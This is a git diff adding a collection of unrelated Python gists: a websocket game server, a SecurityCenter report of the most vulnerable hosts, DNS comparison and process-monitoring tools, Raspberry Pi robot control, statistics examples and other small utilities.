+from gevent.pywsgi import WSGIServer
+import gevent
+monkey.patch_all()
+
+from geventwebsocket.handler import WebSocketHandler
+
+from pyramid.config import Configurator
+from pyramid.view import view_config
+
+import json
+import logging
+import random
+import time
+import uuid
+
+log = logging.getLogger(__name__)
+
+message = lambda type_, data=None: {'type': type_, 'data': data}
+flatten_message = lambda msg: json.dumps(msg)
+parse_message = lambda data: json.loads(data)
+
+# FIXME throttle incoming/outgoing
+class Channel(object):
+    def __init__(self, socket):
+        self.socket = socket
+
+        self.running = False
+        
+        self.incoming = Queue(None)
+        self.outgoing = Queue(None)
+
+        self.reader = Greenlet(self.do_read)
+        self.writer = Greenlet(self.do_write)
+
+    def do_read(self):
+        while self.running:
+            data = self.socket.receive()
+
+            if not data:
+                break
+
+            if data:
+                self.incoming.put(parse_message(data))
+
+    def do_write(self):
+        while self.running:
+            msg = self.outgoing.get()
+            self.socket.send(flatten_message(msg))
+
+    def is_running():
+        return self.running and not any([self.reader.ready(), 
+                                         self.writier.ready()])
+
+    def run(self):
+        self.running = True
+        self.reader.start()
+        self.writer.start()
+
+    def wait(self):
+        self.running = False
+        gevent.killall([self.reader, self.writer])
+
+    def receive(self):
+        return self.incoming.get()
+
+    def send(self, type_, data):
+        return self.outgoing.put(message(type_, data))
+
+    def send_ping(self):
+        return self.send('ping', time.time())
+
+    def send_spawn(self, avatar):
+        return self.send('spawn', avatar.stat())
+
+    def send_die(self, avatar):
+        return self.send('die', avatar.uid)
+
+    def send_state(self, avatars):
+        return self.send('state', [i.stat() for i in avatars])
+
+    def send_update(self, avatar):
+        return self.send('update', avatar.stat())
+
+
+class AvatarCollection(object):
+    def __init__(self):
+        self.avatars = dict()
+
+    def add(self, avatar):
+        self.avatars[avatar.uid] = avatar
+
+    def remove(self, avatar):
+        del self.avatars[avatar.uid]
+
+    def get(self, uid):
+        return self.avatars.get(uid)
+
+    def all(self):
+        return self.avatars.values()
+
+    def tick(self, delta):
+        for avatar in self.all():
+            avatar.tick(delta)
+
+    def dirty(self):
+        return [a for a in self.all() if a.dirty]
+
+    def clean(self):
+        for avatar in self.all():
+            avatar.mark_clean()
+
+class ChannelCollection(object):
+    def __init__(self):
+        self.channels = dict()
+
+    def add(self, avatar, channel):
+        self.channels[avatar.uid] = channel
+
+    def remove(self, avatar):
+        del self.channels[avatar.uid]
+
+    def get(self, o):
+        if isinstance(o, Avatar):
+            uid = o.uid
+        else:
+            uid = o
+
+        return self.channels.get(uid)
+
+    def broadcast(self, method, *args, **kwargs):
+        for uid in self.channels:
+            method(self.channels[uid], *args, **kwargs)
+
+    def broadcast_spawn(self, avatar):
+        self.broadcast(Channel.send_spawn, avatar)
+
+    def broadcast_die(self, avatar):
+        self.broadcast(Channel.send_die, avatar)
+
+    def broadcast_update(self, avatar):
+        self.broadcast(Channel.send_update, avatar)
+
+
+# FIXME make a greenlet?
+# FIXME mark avatars as dirty
+class MessageHandler(object):
+
+    def __init__(self, world):
+        self.world = world
+
+    def dispatch(self, avatar, msg):
+        handler_name = 'on_' + msg['type']
+        handler = getattr(self, handler_name, None)
+
+        if handler:
+            log.debug('dispatching message %s', msg['type'])
+
+            handler(avatar, msg['data'])
+
+        return handler is not None
+
+    def on_spawn(self, avatar, data):        
+        self.world.channels.get(avatar).send_state(self.world.avatars.all())
+        self.world.channels.broadcast_spawn(avatar)
+
+    def on_die(self, avarar, data):
+        self.world.channels.broadcast_die(avatar)
+
+    def on_input(self, avatar, data):
+        input_map = {
+            'UP': (0, -1),
+            'DOWN': (0, 1),
+            'LEFT': (-1, 0),
+            'RIGHT': (1, 0)
+        }
+
+        if data in input_map:
+            dx, dy = input_map.get(data)
+            avatar.move(dx, dy)
+            avatar.mark_dirty()
+
+
+class WorldThread(Greenlet):
+
+    TICKRATE = 10
+
+    def __init__(self):
+        super(WorldThread, self).__init__()
+        self.running = False
+        self.ticks = 0
+        self.input = Queue(None)
+
+        self.avatars = AvatarCollection()
+        self.channels = ChannelCollection()
+        self.message_handler = MessageHandler(self)
+
+    def enqueue(self, avatar, msg):
+        self.input.put((avatar, msg))
+
+    def incoming_messages(self):
+        try:
+            while True:
+                yield self.input.get(False)
+        except Empty:
+            pass
+
+    # FIXME need to track for updates and fire only one
+    def tick(self, delta):
+        for avatar, msg in self.incoming_messages():
+            self.message_handler.dispatch(avatar, msg)
+            
+        # FIXME track delta
+        self.avatars.tick(delta)
+
+        dirty_avatars = self.avatars.dirty()
+        for avatar in dirty_avatars:
+            self.channels.broadcast_update(avatar)
+        
+        self.avatars.clean()
+
+    def _run(self):
+        self.running = True
+
+        while self.running:
+            last = time.time()
+
+            self.tick(0)
+            self.ticks += 1
+
+            now = time.time()
+            delta = now - last            
+            sleepy_time = (1.0 / self.TICKRATE)  - delta
+            log.debug('sleeping world for %s', sleepy_time)
+
+            gevent.sleep(sleepy_time)
+
+    def spawn(self, channel):
+        avatar = Avatar()
+        self.avatars.add(avatar)
+        self.channels.add(avatar, channel)
+        self.enqueue(avatar, message('spawn'))
+        return avatar
+        
+    def die(self, avatar):
+        self.channels.remove(avatar)
+        self.avatars.remove(avatar)
+        self.enqueue(avatar, message('die'))
+    
+
+World = WorldThread()
+World.start()
+
+class Avatar(object):
+    def __init__(self):
+        self.uid = uuid.uuid4().hex
+        self.size = random.randint(5, 20)
+        self.position(random.randint(0, 600),
+                      random.randint(0, 600))
+        self.velocity(0, 0)
+        self.rotation = 0
+        self.dirty = True
+        self.ticks = 0
+
+    def mark_dirty(self):
+        self.dirty = True
+
+    def mark_clean(self):
+        self.dirty = False
+        
+    def stat(self):
+        exclude = ('ticks', 'dirty')
+        return dict((k, v) for k,v in vars(self).items() if k not in exclude)
+
+    def position(self, x, y):
+        self.x = x
+        self.y = y
+
+    def velocity(self, dx, dy):
+        self.dx = dx
+        self.dy = dy
+
+    def move(self, dx, dy):
+        self.x += dx
+        self.y += dy
+
+    def tick(self, delta):
+        self.ticks += 1
+
+        self.move(random.randint(-2,2),
+                  random.randint(-2,2))
+
+        self.mark_dirty()
+
+@view_config(route_name='endpoint', renderer='string')
+def endpoint(request):
+
+    channel = Channel(request.environ['wsgi.websocket'])
+    avatar = World.spawn(channel)
+
+    log.debug('spawned avatar %s', avatar.uid)
+
+    channel.run()
+
+    while channel.is_running:
+        msg = channel.receive()
+        World.enqueue(avatar, msg)
+
+    channel.wait()
+
+    World.kill(avatar)
+
+    log.debug('killed avatar %s', avatar.uid)
+
+    return ''
+
+@view_config(route_name='root', renderer='/base.mako')
+def root(request):
+    return {}
+
+
+def server_factory(global_conf, host, port):
+    port = int(port)
+
+    def serve(app):
+        server = WSGIServer(('', port), app, handler_class=WebSocketHandler)
+        log.info('serving on port %s...', port)
+        server.serve_forever()
+
+    return serve
+
+
+def main(global_config, **settings):
+    config = Configurator(settings=settings)
+    config.add_static_view('static', 'chattr:static')
+
+    config.add_route('root', '/')
+    config.add_route('endpoint', '/end-point')
+
+    config.scan()
+
+    return config.make_wsgi_app()
diff --git a/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/._snippet.py b/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/._snippet.py differ
diff --git a/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/snippet.py b/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/snippet.py
new file mode 100644
index 00000000..fd0efe9f
--- /dev/null
+++ b/hard-gists/173778fd95b9e21afd1aa4ed16bb0694/snippet.py
@@ -0,0 +1,28 @@
+#!/usr/bin/env python3
+from securitycenter import SecurityCenter5
+import subprocess
+
+def vulns():
+ sc = SecurityCenter5('nessus')
+ sc.login('nessusapi', 'Afinepassword!')
+ response = sc.get('status')
+ hosts = sc.analysis(tool='sumip', page=0, page_size=10, sortDir='desc',sortField='score')
+
+ print('\n')
+ print("[Top 10 Vulnerable Hosts]")
+ print('\n')
+
+ for v in hosts:
+   print('-' * 50)
+   print('IP: ' + v['ip'])
+   print('DNS: ' + v['dnsName'])
+   print('OS: ' + v['osCPE'])
+   print('Critical Vulenrablities: ' + v['severityCritical'])
+   print('High Vulnerabilities ' + v['severityHigh'])
+   print('Medium Vulnerabilities ' + v['severityMedium'])
+   print('-' * 50)
+   print('\n')
+   
+ sc.logout
+ 
+vulns()
\ No newline at end of file
diff --git a/hard-gists/174056/._snippet.py b/hard-gists/174056/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/174056/._snippet.py differ
diff --git a/hard-gists/174056/snippet.py b/hard-gists/174056/snippet.py
new file mode 100644
index 00000000..97d07df7
--- /dev/null
+++ b/hard-gists/174056/snippet.py
@@ -0,0 +1,27 @@
+from twisted.enterprise import adbapi
+from twisted.python import log
+import MySQLdb
+
+class ReconnectingConnectionPool(adbapi.ConnectionPool):
+    """Reconnecting adbapi connection pool for MySQL.
+
+    This class improves on the solution posted at
+    http://www.gelens.org/2008/09/12/reinitializing-twisted-connectionpool/
+    by checking exceptions by error code and only disconnecting the current
+    connection instead of all of them.
+
+    Also see:
+    http://twistedmatrix.com/pipermail/twisted-python/2009-July/020007.html
+
+    """
+    def _runInteraction(self, interaction, *args, **kw):
+        try:
+            return adbapi.ConnectionPool._runInteraction(self, interaction, *args, **kw)
+        except MySQLdb.OperationalError, e:
+            if e[0] not in (2006, 2013):
+                raise
+            log.msg("RCP: got error %s, retrying operation" %(e))
+            conn = self.connections.get(self.threadID())
+            self.disconnect(conn)
+            # try the interaction again
+            return adbapi.ConnectionPool._runInteraction(self, interaction, *args, **kw)
\ No newline at end of file
diff --git a/hard-gists/1748a6676120a0aacea2/._snippet.py b/hard-gists/1748a6676120a0aacea2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1748a6676120a0aacea2/._snippet.py differ
diff --git a/hard-gists/1748a6676120a0aacea2/snippet.py b/hard-gists/1748a6676120a0aacea2/snippet.py
new file mode 100644
index 00000000..4acb3748
--- /dev/null
+++ b/hard-gists/1748a6676120a0aacea2/snippet.py
@@ -0,0 +1,134 @@
+#!/usr/bin/env python
+#
+# DNS Result Comparison Utility
+# Author: https://twitter.com/chair6
+#
+
+import argparse
+import dns.resolver
+import dns.rdatatype
+from collections import defaultdict
+from hashlib import sha1
+
+DEFAULT_RESOLVERS = ['8.8.8.8', '8.8.4.4']
+DEFAULT_RECORD_TYPE = ['A', 'MX']
+
+VERBOSE = False
+
+
+def initialize():
+    parser = argparse.ArgumentParser(
+        description='DNS Result Comparison Utility'
+    )
+    parser.add_argument(
+        '-t', '--types', dest='record_types', metavar='record_type',
+        action='store', default=DEFAULT_RECORD_TYPE, type=str, nargs='*',
+        help='Type of record to query (default: {0})'.format(
+            ', '.join(DEFAULT_RECORD_TYPE)
+        )
+    )
+    parser.add_argument(
+        '-r', '--resolvers', dest='resolvers', metavar='resolver',
+        action='store', default=DEFAULT_RESOLVERS, type=str, nargs='*',
+        help='List of resolvers to query (default: {0})'.format(
+            ' '.join(DEFAULT_RESOLVERS)
+        )
+    )
+    parser.add_argument(
+        '-v', '--verbose', dest='verbose',
+        action='store_true', default=False,
+        help='Include detailed results in output'
+    )
+    parser.add_argument(
+        'names',  metavar='record', action='store', type=str, nargs='*',
+        help='Name of the DNS record/s to query during testing'
+    )
+    args = parser.parse_args()
+
+    for rt in args.record_types:
+        try:
+            dns.rdatatype.from_text(rt)
+        except dns.rdatatype.UnknownRdatatype:
+            args.record_types = [x for x in args.record_types if x != rt]
+            print(
+                '** Invalid record type specified ({0}), skipping.'
+                .format(rt)
+            )
+    if len(args.resolvers) == 0:
+        parser.error('No DNS resolvers specified to test against.')
+    if len(args.record_types) == 0:
+        parser.error('No valid record types identified.')
+    if len(args.names) == 0:
+        parser.error('No DNS record/s specified.')
+
+    return (args.resolvers, args.names, args.record_types, args.verbose)
+
+
+def diff(resolvers, names, record_types):
+    results_by_resolver = defaultdict(defaultdict)
+    results_signatures = defaultdict(defaultdict)
+    resolver = dns.resolver.Resolver(configure=False)
+    for r in resolvers:
+        results_by_resolver[r] = defaultdict(defaultdict)
+        results_signatures[r] = defaultdict(defaultdict)
+        for rn in names:
+            results_by_resolver[r][rn] = defaultdict(list)
+            results_signatures[r][rn] = defaultdict(defaultdict)
+            for rt in record_types:
+                results_signatures[r][rn][rt] = set()
+                resolver.nameservers = [r]
+                result = None
+                try:
+                    answers = dns.resolver.query(rn, rt)
+                except dns.resolver.NXDOMAIN:
+                    result = 'NXDOMAIN'
+                except dns.resolver.NoAnswer:
+                    result = 'NO ANSWER'
+                if result is not None:
+                    results_by_resolver[r][rn][rt].append(result)
+                else:
+                    # save individual answers from query response
+                    for rdata in answers:
+                        results_by_resolver[r][rn][rt].append(rdata.to_text())
+                    # build signature for this query response
+                    result = '::'.join(
+                        sorted([rdata.to_text() for rdata in answers])
+                    )
+                    results_signatures[r][rn][rt].add(sha1(result).hexdigest())
+    return (results_by_resolver, results_signatures)
+
+
+def report(results_by_resolver, results_signatures, counts):
+    inconsistent = False
+    for r in results_by_resolver:
+        for rn in results_by_resolver[r]:
+            for rt in results_by_resolver[r][rn]:
+                if len(results_signatures[r][rn][rt]) > 1:
+                    inconsistent = True
+
+    print(
+        "\nTesting completed against {0} resolvers, {1} names, and {2} types."
+        .format(counts[0], counts[1], counts[2])
+    )
+    if inconsistent:
+        print("** Inconsistent query answers detected.\n")
+    else:
+        print("Query answers consistent across all resolvers tested.\n")
+
+    if VERBOSE:
+        for r in results_by_resolver:
+            print("Resolver : {0}".format(r))
+            for rn in results_by_resolver[r]:
+                print("\tTarget DNS name: {0}".format(rn))
+                for rt in results_by_resolver[r][rn]:
+                    print("\t\t{0} answers:\n\t\t\t{1}\n".format(
+                        rt,
+                        '\n\t\t\t'.join(results_by_resolver[r][rn][rt])
+                    ))
+
+
+if __name__ == '__main__':
+    (resolvers, names, record_types, VERBOSE) = initialize()
+    counts = (len(resolvers), len(names), len(record_types))
+    (by_resolver, signatures) = diff(resolvers, names, record_types)
+    report(by_resolver, signatures, counts)
\ No newline at end of file
diff --git a/hard-gists/1752014/._snippet.py b/hard-gists/1752014/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1752014/._snippet.py differ
diff --git a/hard-gists/1752014/snippet.py b/hard-gists/1752014/snippet.py
new file mode 100644
index 00000000..944b82d0
--- /dev/null
+++ b/hard-gists/1752014/snippet.py
@@ -0,0 +1,131 @@
+#coding:utf-8
+import psutil
+from mpl_toolkits.mplot3d import Axes3D
+import numpy as np
+import matplotlib.pyplot as plt
+import matplotlib.animation as animation
+
+TIME_NUM = 90
+FRAMES = 360
+
+class processMoniter:
+    def  __init__(self, pids):
+        self.cpu_nums = psutil.NUM_CPUS
+        self.max_mem = psutil.TOTAL_PHYMEM
+
+        self.plist = [psutil.Process(pid) for pid in pids]
+
+        self.get_system_info()
+        self.get_processes_info()
+
+    def get_system_info(self):
+        cpu_percent = psutil.cpu_percent(interval=0.0, percpu=False)
+        mem_percent = float(psutil.used_phymem()) / self.max_mem * 100
+        return cpu_percent, mem_percent
+
+    def get_process_info(self, p):
+        if p.is_running:
+            cpu_percent = p.get_cpu_percent(interval=0.0) / self.cpu_nums
+            mem_percent = p.get_memory_percent()
+        else:
+            cpu_percent = 0.0
+            mem_percent = 0.0
+        return cpu_percent, mem_percent
+
+    def get_processes_info(self):
+        infodic = {}
+        for p in self.plist:
+            infodic[(p.pid, p.name)] = self.get_process_info(p)
+        return infodic
+
+class processUsage:
+    def __init__ (self, maxnum):
+        self.maxnum = maxnum
+        self.cpu_usage = []
+        self.mem_usage = []
+        self.times = []
+
+    def update(self, num, cpu, mem):
+        self.cpu_usage.append(cpu)
+        self.mem_usage.append(mem)
+
+        if len(self.cpu_usage) > self.maxnum:
+            self.cpu_usage = self.cpu_usage[1:]
+            self.mem_usage = self.mem_usage[1:]
+        else:
+            self.times.append(num)
+
+class processGraph:
+    def __init__(self, pids):
+        self.taskmgr = processMoniter(pids)
+
+    def __setdata(self, usage, line):
+            line.set_xdata(usage.mem_usage)
+            line.set_ydata(usage.times)
+            line.set_3d_properties(usage.cpu_usage)
+
+    def update_lines(self, num, sysline, sysUsage, plines, pUsages, ax) :
+        # System
+        sCpu, sMem = self.taskmgr.get_system_info()
+        sysUsage.update(num, sCpu, sMem)
+        self.__setdata(sysUsage, sysline)
+
+        # Processes
+        pInfos = self.taskmgr.get_processes_info()
+        for (pid, name), (cpu, mem) in pInfos.iteritems():
+            pUsage = pUsages[pid]
+            pUsage.update(num, cpu, mem)
+            pLine = plines[pid]
+            self.__setdata(pUsage, pLine)
+
+        ax.set_xlim3d(0, 100)
+        ax.set_ylim3d(0, TIME_NUM)
+        ax.set_zlim3d(0, 100)
+
+        ax.view_init(30, 1 * num)
+        return sysline
+
+    def show(self):
+        fig = plt.figure()
+
+        # init axis
+        ax = fig.gca(projection='3d')
+        ax.view_init(30, 0)
+
+        ax.set_xlabel('Memory Usage (%)')
+        ax.set_ylabel('Time')
+        ax.set_zlabel('CPU Usage (%)')
+
+        # System
+        sysUsage = processUsage(TIME_NUM)
+        sysline, = ax.plot(sysUsage.mem_usage, sysUsage.times,
+                    zs=np.array(sysUsage.cpu_usage), zdir='z', label='zs=0, zdir=z')
+        sysline.set_label('System')
+
+        # Processes
+        pUsages = {}
+        pLines = {}
+        info_dic = self.taskmgr.get_processes_info()
+        for (pid, name), (cpu, mem) in info_dic.iteritems():
+            pUsage = processUsage(TIME_NUM)
+            pline, = ax.plot(pUsage.mem_usage, pUsage.times, zs=np.array(pUsage.cpu_usage),
+                     zdir='z', label='zs=0, zdir=z')
+            pline.set_label('{0}({1})'.format(name, pid))
+            pLines[pid] = pline
+            pUsages[pid] = pUsage
+
+        ax.legend()
+
+        # Creating the Animation object
+        line_ani = animation.FuncAnimation(fig, self.update_lines, FRAMES,
+                                        fargs=(sysline, sysUsage, pLines, pUsages, ax),
+                                        interval=100, blit=False)
+        plt.show()
+        #line_ani.save('im.mp4')
+
+
+# usage
+pid1 = 6876
+pid2 = 6804
+graph = processGraph([pid1, pid2])
+graph.show()
diff --git a/hard-gists/1757120/._snippet.py b/hard-gists/1757120/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1757120/._snippet.py differ
diff --git a/hard-gists/1757120/snippet.py b/hard-gists/1757120/snippet.py
new file mode 100644
index 00000000..1effde17
--- /dev/null
+++ b/hard-gists/1757120/snippet.py
@@ -0,0 +1,18 @@
+import arcpy
+
+from arcpy import env
+
+env.workspace = "c:/workspace"
+
+# variables
+in_features = "soils.shp"
+
+clip_features = "study_boundary.shp"
+
+out_feature_class = "c:/workspace/output/study_area_soils.shp"
+
+xy_tolerance = ""
+
+# Execute Clip
+
+arcpy.Clip_analysis(in_features, clip_features, out_feature_class, xy_tolerance)
\ No newline at end of file
diff --git a/hard-gists/1757c55017ef2bfcc070909bdf0e6547/._snippet.py b/hard-gists/1757c55017ef2bfcc070909bdf0e6547/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1757c55017ef2bfcc070909bdf0e6547/._snippet.py differ
diff --git a/hard-gists/1757c55017ef2bfcc070909bdf0e6547/snippet.py b/hard-gists/1757c55017ef2bfcc070909bdf0e6547/snippet.py
new file mode 100644
index 00000000..37819a0c
--- /dev/null
+++ b/hard-gists/1757c55017ef2bfcc070909bdf0e6547/snippet.py
@@ -0,0 +1,91 @@
+#Only in PYTHON2.7
+import RPi.GPIO as GPIO #GPIO Libraries
+from time import sleep #Sleep Functions
+import readchar #keyboards
+
+GPIO.setwarnings(False)#Blocks error warnings
+GPIO.setmode(GPIO.BCM) #Setting Up
+
+GPIO.setup(23, GPIO.OUT) #back right
+GPIO.setup(24, GPIO.OUT) #front right
+GPIO.setup(17, GPIO.OUT) #front left
+GPIO.setup(27, GPIO.OUT) #back left
+GPIO.setup(26, GPIO.OUT) #red led
+GPIO.setup(16, GPIO.OUT) #green led
+GPIO.setup(21, GPIO.IN)  #Reads output from the IR motion sensor
+
+def sensorf():
+    i = 1 
+    while i < 6:
+
+        sensor=GPIO.input(21)
+
+        if sensor==1: #When output from motion sensor is LOW
+            print("No Obstructions!!")
+            sleep(1)
+        elif sensor==0: #When output from motion sensor is HIGH
+            print("Obstruction detected")
+            sleep(1)
+            GPIO.output(23, GPIO.LOW) #back right
+            GPIO.output(24, GPIO.LOW) #front right
+            GPIO.output(17, GPIO.LOW) #front left
+	    GPIO.output(27, GPIO.LOW) #back left
+		
+	elif i==5:
+		break
+
+        i = i+1
+     	
+ 	
+
+
+print("Welcome to the Awesome Robot!!!")
+sleep(2)
+
+while True:
+
+    key=readchar.readkey()
+
+    if key=="1": 
+        GPIO.output(17, GPIO.HIGH)
+        GPIO.output(24, GPIO.HIGH)
+        GPIO.output(16, GPIO.HIGH)
+        sensorf()
+        GPIO.output(17, GPIO.LOW)
+        GPIO.output(24, GPIO.LOW)
+        GPIO.output(16, GPIO.LOW)
+
+            
+    elif key=="2":
+        GPIO.output(17, GPIO.HIGH)
+        sensorf()
+        GPIO.output(17, GPIO.LOW)
+
+    elif key=="3":
+        GPIO.output(24, GPIO.HIGH)
+        sensorf()
+        GPIO.output(24, GPIO.LOW)
+
+    elif key=="4":
+        GPIO.output(27, GPIO.HIGH)
+        sleep(0.4)
+        GPIO.output(27, GPIO.LOW)
+
+    elif key=="5":
+        GPIO.output(23, GPIO.HIGH)
+        sleep(0.4)
+        GPIO.output(23, GPIO.LOW)
+
+    elif key=="6":
+        GPIO.output(27, GPIO.HIGH)
+        GPIO.output(23, GPIO.HIGH)
+        GPIO.output(26, GPIO.HIGH)
+        sleep(0.4)
+        GPIO.output(27, GPIO.LOW)
+        GPIO.output(23, GPIO.LOW)
+        GPIO.output(26, GPIO.LOW)
+            
+    elif key=="z":
+        GPIO.cleanup()
+        sleep(1)
+        break   
diff --git a/hard-gists/1760854/._snippet.py b/hard-gists/1760854/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1760854/._snippet.py differ
diff --git a/hard-gists/1760854/snippet.py b/hard-gists/1760854/snippet.py
new file mode 100644
index 00000000..b0c80fb2
--- /dev/null
+++ b/hard-gists/1760854/snippet.py
@@ -0,0 +1,28 @@
+"""
+Gets the name of the active Git branch as a string.
+Depends on GitPython
+
+pip install GitPython
+"""
+from git import Repo
+
+repo = Repo('/path/to/your/repo')
+branch = repo.active_branch
+print branch.name
+
+"""
+Example usage from my local Django settings:
+
+try:
+    # use the develop database if we are using develop
+    import os
+    from git import Repo
+
+    repo = Repo(os.getcwd())
+    branch = repo.active_branch
+    branch = branch.name
+    if branch == 'develop':
+        DATABASES['default']['NAME'] = 'myproject__develop'
+except ImportError:
+    pass
+"""
\ No newline at end of file
diff --git a/hard-gists/1761714/._snippet.py b/hard-gists/1761714/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1761714/._snippet.py differ
diff --git a/hard-gists/1761714/snippet.py b/hard-gists/1761714/snippet.py
new file mode 100644
index 00000000..602d6bbd
--- /dev/null
+++ b/hard-gists/1761714/snippet.py
@@ -0,0 +1,105 @@
+# Mathieu Blondel, February 2012
+# License: BSD 3 clause
+
+# Port to Python of examples in chapter 5 of
+# "Introductory Statistics with R" by Peter Dalgaard
+
+import numpy as np
+from scipy.stats import ttest_1samp, wilcoxon, ttest_ind, mannwhitneyu
+
+# daily intake of energy in kJ for 11 women
+daily_intake = np.array([5260,5470,5640,6180,6390,6515,
+                         6805,7515,7515,8230,8770])
+
+# one sample t-test
+# null hypothesis: expected value = 7725
+t_statistic, p_value = ttest_1samp(daily_intake, 7725)
+
+# p_value < 0.05 => alternative hypothesis:
+# data deviate significantly from the hypothesis that the mean
+# is 7725 at the 5% level of significance
+print "one-sample t-test", p_value
+
+# one sample wilcoxon-test
+z_statistic, p_value = wilcoxon(daily_intake - 7725)
+print "one-sample wilcoxon-test", p_value
+
+energ = np.array([
+# energy expenditure in mJ and stature (0=obese, 1=lean)
+[9.21, 0],
+[7.53, 1],
+[7.48, 1],
+[8.08, 1],
+[8.09, 1],
+[10.15, 1],
+[8.40, 1],
+[10.88, 1],
+[6.13, 1],
+[7.90, 1],
+[11.51, 0],
+[12.79, 0],
+[7.05, 1],
+[11.85, 0],
+[9.97, 0],
+[7.48, 1],
+[8.79, 0],
+[9.69, 0],
+[9.68, 0],
+[7.58, 1],
+[9.19, 0],
+[8.11, 1]])
+
+# similar to expend ~ stature in R
+group1 = energ[:, 1] == 0
+group1 = energ[group1][:, 0]
+group2 = energ[:, 1] == 1
+group2 = energ[group2][:, 0]
+
+# two-sample t-test
+# null hypothesis: the two groups have the same mean
+# this test assumes the two groups have the same variance...
+# (can be checked with tests for equal variance)
+# independent groups: e.g., how boys and girls fare at an exam
+# dependent groups: e.g., how the same class fare at 2 different exams
+t_statistic, p_value = ttest_ind(group1, group2)
+
+# p_value < 0.05 => alternative hypothesis:
+# they don't have the same mean at the 5% significance level
+print "two-sample t-test", p_value
+
+# two-sample wilcoxon test
+# a.k.a Mann Whitney U
+u, p_value = mannwhitneyu(group1, group2)
+print "two-sample wilcoxon-test", p_value
+
+# pre and post-menstrual energy intake
+intake = np.array([
+[5260, 3910],
+[5470, 4220],
+[5640, 3885],
+[6180, 5160],
+[6390, 5645],
+[6515, 4680],
+[6805, 5265],
+[7515, 5975],
+[7515, 6790],
+[8230, 6900],
+[8770, 7335],
+])
+
+pre = intake[:, 0]
+post = intake[:, 1]
+
+# paired t-test: doing two measurments on the same experimental unit
+# e.g., before and after a treatment
+t_statistic, p_value = ttest_1samp(post - pre, 0)
+
+# p < 0.05 => alternative hypothesis:
+# the difference in mean is not equal to 0
+print "paired t-test", p_value
+
+# alternative to paired t-test when data has an ordinary scale or when not
+# normally distributed
+z_statistic, p_value = wilcoxon(post - pre)
+
+print "paired wilcoxon-test", p_value
diff --git a/hard-gists/1766791/._snippet.py b/hard-gists/1766791/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1766791/._snippet.py differ
diff --git a/hard-gists/1766791/snippet.py b/hard-gists/1766791/snippet.py
new file mode 100644
index 00000000..2cace608
--- /dev/null
+++ b/hard-gists/1766791/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/python
+
+import sys
+import libvirt
+from xml.etree.ElementTree import *
+
+host = sys.argv[1]
+conn = libvirt.open("qemu+tcp://%s/system" % host)
+
+vms = []
+
+ids = conn.listDomainsID()
+for id in ids:
+    dom = conn.lookupByID(id)
+    vms.append(dom.name())
+
+domains = conn.listDefinedDomains()
+for domain in domains:
+    vms.append(domain)
+
+for vm in vms:
+    print vm
+    dom  = conn.lookupByName(vm)
+    desc = fromstring(dom.XMLDesc(libvirt.VIR_DOMAIN_XML_SECURE))
+    desc.find(".//clock").set("offset", "localtime")
+    conn.defineXML(tostring(desc))
diff --git a/hard-gists/1771937/._snippet.py b/hard-gists/1771937/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1771937/._snippet.py differ
diff --git a/hard-gists/1771937/snippet.py b/hard-gists/1771937/snippet.py
new file mode 100644
index 00000000..f05ad881
--- /dev/null
+++ b/hard-gists/1771937/snippet.py
@@ -0,0 +1,52 @@
+# Shamelessly stolen from https://github.com/newsapps/django-boundaryservice/blob/master/boundaryservice/tastyhacks.py
+
+from django.contrib.gis.db.models import GeometryField
+from django.utils import simplejson
+
+from tastypie.bundle import Bundle
+from tastypie.fields import ApiField, CharField
+from tastypie.resources import ModelResource
+
+
+class GeometryApiField(ApiField):
+    """
+    Custom ApiField for dealing with data from GeometryFields (by serializing them as GeoJSON).
+    """
+    dehydrated_type = 'geometry'
+    help_text = 'Geometry data.'
+
+    def hydrate(self, bundle):
+        value = super(GeometryApiField, self).hydrate(bundle)
+        if value is None:
+            return value
+        return simplejson.dumps(value)
+    
+    def dehydrate(self, obj):
+        return self.convert(super(GeometryApiField, self).dehydrate(obj))
+    
+    def convert(self, value):
+        if value is None:
+            return None
+
+        if isinstance(value, dict):
+            return value
+
+        # Get ready-made geojson serialization and then convert it _back_ to a Python object
+        # so that Tastypie can serialize it as part of the bundle
+        return simplejson.loads(value.geojson)
+
+
+class GeoResource(ModelResource):
+    """
+    ModelResource subclass that handles geometry fields as GeoJSON.
+    """
+
+    @classmethod
+    def api_field_from_django_field(cls, f, default=CharField):
+        """
+        Overrides default field handling to support custom GeometryApiField.
+        """
+        if isinstance(f, GeometryField):
+            return GeometryApiField
+    
+        return super(GeoResource, cls).api_field_from_django_field(f, default)
\ No newline at end of file
diff --git a/hard-gists/1773870/._snippet.py b/hard-gists/1773870/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1773870/._snippet.py differ
diff --git a/hard-gists/1773870/snippet.py b/hard-gists/1773870/snippet.py
new file mode 100644
index 00000000..403cc02b
--- /dev/null
+++ b/hard-gists/1773870/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/python
+
+import wave
+import numpy
+import struct
+import sys
+import csv
+from scikits.samplerate import resample
+
+def write_wav(data, filename, framerate, amplitude):
+    wavfile = wave.open(filename, "w")
+    nchannels = 1
+    sampwidth = 2
+    framerate = framerate
+    nframes = len(data)
+    comptype = "NONE"
+    compname = "not compressed"
+    wavfile.setparams((nchannels,
+                        sampwidth,
+                        framerate,
+                        nframes,
+                        comptype,
+                        compname))
+    print("Please be patient whilst the file is written")
+    frames = []
+    for s in data:
+        mul = int(s * amplitude)
+        # print "s: %f mul: %d" % (s, mul)
+        frames.append(struct.pack('h', mul))
